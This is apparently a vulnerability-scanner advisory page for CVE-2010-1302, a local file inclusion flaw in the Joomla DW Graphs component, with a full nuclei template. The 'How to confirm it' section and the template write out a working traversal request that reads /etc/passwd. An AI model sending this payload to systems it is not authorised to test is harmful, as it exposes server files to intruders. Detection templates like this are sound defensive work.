Joomla! Component DW Graph - Local File Inclusion

mediumseverity

5CVSS score

8.5%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in dwgraphs.php in the DecryptWeb DW Graphs (com_dwgraphs) component 1.0 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access or information disclosure.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_dwgraphs&controller=../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1302 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1302

info:
  name: Joomla! Component DW Graph - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in dwgraphs.php in the DecryptWeb DW Graphs (com_dwgraphs) component 1.0 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access or information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11978
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1302
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1302
    cwe-id: CWE-22
    epss-score: 0.08483
    epss-percentile: 0.9507
    cpe: cpe:2.3:a:decryptweb:com_dwgraphs:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: decryptweb
    product: com_dwgraphs
  tags: cve,cve2010,edb,joomla,lfi,graph,decryptweb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_dwgraphs&controller=../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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